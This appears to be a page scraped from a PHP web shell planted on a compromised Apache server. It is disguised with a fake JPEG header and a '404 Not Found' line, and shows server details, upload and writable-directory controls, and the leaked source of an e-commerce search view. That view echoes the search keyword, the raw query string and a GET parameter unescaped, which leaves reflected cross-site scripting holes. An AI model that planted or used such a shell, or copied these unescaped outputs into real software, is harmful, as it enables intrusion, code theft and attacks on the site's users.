����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/adimi/application/modules/web/views/themes/zaima/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/adimi/application/modules/web/views/themes/zaima/product_search.php
<?php include_once(dirname(__FILE__).'/functions/functions.php'); ?>

<?php $this->load->view('adv/category_adv1', array('adv_position' => 1)); ?>

<div class="container py-4">
    <div class="row">
        <div class="<?php echo (!empty($after_search)?'col-md-3':'col-md-3') ?> d-none d-lg-block leftSidebar mb-3 pr-xl-4">

            <?php

            if (!empty($brand_list)) { ?>

            <div class="card mb-4">
                <div class="card-header d-flex align-items-center justify-content-between">
                    <h2 class="mb-0 fs-17"><?php echo display('brand') ?></h2>
                    <i data-feather="sliders" class="card-header_icon"></i>
                </div>
                <div class="card-body">
                    <?php
                        $i = 1;
                        $current_url = current_url();
                        $getlist = $this->input->get();

                        $brand_url_ids = $this->input->get('brand');

                        foreach ($brand_list as $brand_in) {
                            if ($brand_in['brand_id']) {

                                $target_id = $brand_in['brand_id'];

                                if(!empty($brand_url_ids)){
                                    $all_brand_ids = (explode("--", $brand_url_ids));
                                    if (in_array($target_id, $all_brand_ids)) {
                                        $pos = array_search($target_id, $all_brand_ids);
                                        unset($all_brand_ids[$pos]);
                                    }else{
                                        $all_brand_ids[] = $brand_in['brand_id'];
                                    }
                                    $getlist['brand'] = implode('--', $all_brand_ids);
                                }else{
                                    $getlist['brand'] = $brand_in['brand_id'];
                                }
                                $qstring = http_build_query($getlist);

                            ?>
                    <div class="custom-control custom-checkbox mb-2">

                        <input id="brand<?php echo $i ?>" type="checkbox" class="brand_class custom-control-input" name="brand" value="<?php echo $current_url.(!empty($qstring)?'?'.$qstring:''); ?>" <?php
                            if (strpos($brand_url_ids, $target_id) !== false) {
                                echo 'checked';
                            }
                        ?>>


                        <label class="custom-control-label" for="brand<?php echo $i ?>">
                            <?php echo html_escape($brand_in['brand_name']) ?><span class="count text-muted fs-12 ml-1"></span>
                        </label>
                    </div>
                     <?php
                            $i++;
                        }
                    }
                    ?>
                </div>
            </div>
            <?php } ?>

            <?php $this->load->view('adv/category_adv2', array('adv_position' => 3)); ?>


        </div>
        <div class="<?php echo (!empty($after_search)?'col-md-9':'col-md-9') ?> mainContent category-content">

            <div class="filter-row d-flex align-items-center justify-content-between mb-2">
                <div class="filter-title">
                    <?php if (!empty($after_search)) { ?>
                        <h1 class="fs-21 mb-0 d-inline-block">
                            <?php echo html_escape($total) . " ".display('search_items').'"'.$keyword.'"';
                            ?>
                    </h1>
                    <?php } else { ?>
                    <h1 class="fs-21 mb-0 d-inline-block"><?php echo html_escape($category_name); ?></h1>
                    <span class="text-black-50">- <?php echo html_escape($total); ?> <?php echo display('items') ?></span>
                    <?php } ?>
                </div>

                <a class="btn btn-warning color4 color46 text-white" href="<?php echo base_url() ?>"><i class="far fa-hand-point-left"></i> <?php echo display('back_to_home') ?></a>
            </div>
            <div class="row">
                <?php
            if (!empty($category_product)) {
                foreach ($category_product as $product) {
                    ?>

                <div class="col-6 col-sm-4 col-md-3 col-lg-4 col-xl-3">
                    <div class="feature-card card mb-3">
                        <div class="card-body">
                            <a href="<?php echo base_url('product/' . remove_space($product->product_name) . '/' . $product->product_id) ?>" class="product-img d-block">
                                <?php if (@getimagesize($product->image_thumb) === false) { ?>
                                <img src="<?php echo base_url() . '/my-assets/image/no-image.jpg' ?>" class="media-object img-fluid"
                                     alt="<?php echo html_escape($product->product_name) ?>">
                                <?php } else { ?>
                                    <img class="img-fluid" src="<?php echo base_url() . $product->image_thumb ?>" alt="<?php echo html_escape($product->product_name) ?>">
                                <?php } ?>
                            </a>
                            <h3 class="product-name fs-15 font-weight-600 overflow-hidden mt-2">
                                <a href="<?php echo base_url('product/' . remove_space($product->product_name) . '/'. $product->product_id) ?>" class="text-black"><?php echo html_escape($product->product_name) ?></a>
                            </h3>
                            <div class="star-rating">
                                <?php
                                 $result = $this->db->select('IFNULL(SUM(rate),0) as t_rates, count(rate) as t_reviewer')
                                 ->from('product_review')
                                ->where('product_id', $product->product_id)
                                ->where('status', 1)
                                ->get()
                                ->row();
                                $p_review = (!empty($result->t_reviewer)?$result->t_rates / $result->t_reviewer:0);
                                for($s=1; $s<=5; $s++){

                                    if($s <= floor($p_review)) {
                                        echo '<i class="fas fa-star"></i>';
                                    } else if($s == ceil($p_review)) {
                                        echo '<i class="fas fa-star-half-alt"></i>';
                                    }else{
                                        echo '<i class="far fa-star"></i>';
                                    }
                                }
                            ?>
                            </div>
                            <div class="product-price font-weight-bolder font-italic">
                            <?php

                            if ($product->onsale == 1 && !empty($product->onsale_price)) {
                                $price_val = $product->onsale_price * $target_con_rate;
                            }else{
                                $price_val = $product->price * $target_con_rate;
                            }

                            echo  (($position1 == 0) ? $currency1 . number_format($price_val, 2, '.', ',') : number_format($price_val, 2, '.', ',') . $currency1); ?> / <?php echo display('unit') ?></div>
                        </div>
                    </div>
                </div>
            <?php } }else{  ?>
                <div class="col-md-12 text-center">
                    <h3 class='text-muted mt-3'><?php echo display('category_product_not_found');?></h3>
                <?php } ?>
                </div>
                <div class="pt-2">
                    <!-- Pagination-->
                    <div class="pagination d-flex align-items-center">
                        <div class="column">
                            <?php echo htmlspecialchars_decode($links); ?>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<?php $this->load->view('adv/category_adv1', array('adv_position' => 2)); ?>

<!-- End OF category Mobile -->
<input type="hidden" name="category_id" id="category_id" value="<?php echo html_escape($category_id) ?>">
<input type="hidden" name="query_string" id="query_string" value="<?php echo $this->input->server('QUERY_STRING'); ?>">
<input type="hidden" name="brand_url_ids" id="brand_url_ids" value="<?php echo $this->input->get('brand') ?>">
</div>
<input type="hidden" name="price_min_value" id="price_min_value" value="<?php echo html_escape($min_value) ?>">
<input type="hidden" name="price_max_value" id="price_max_value" value="<?php echo (!empty($max_value)?html_escape($max_value):10000) ?>">
<input type="hidden" name="from_price" id="from_price" value="<?php echo html_escape($from_price) ?>">
<input type="hidden" name="to_price" id="to_price" value="<?php echo html_escape($to_price) ?>">
<input type="hidden" name="default_currency_icon" id="default_currency_icon" value="<?php echo (!empty($default_currency_icon)?html_escape($default_currency_icon):$currency1) ?>">

ZeroDay Forums Mini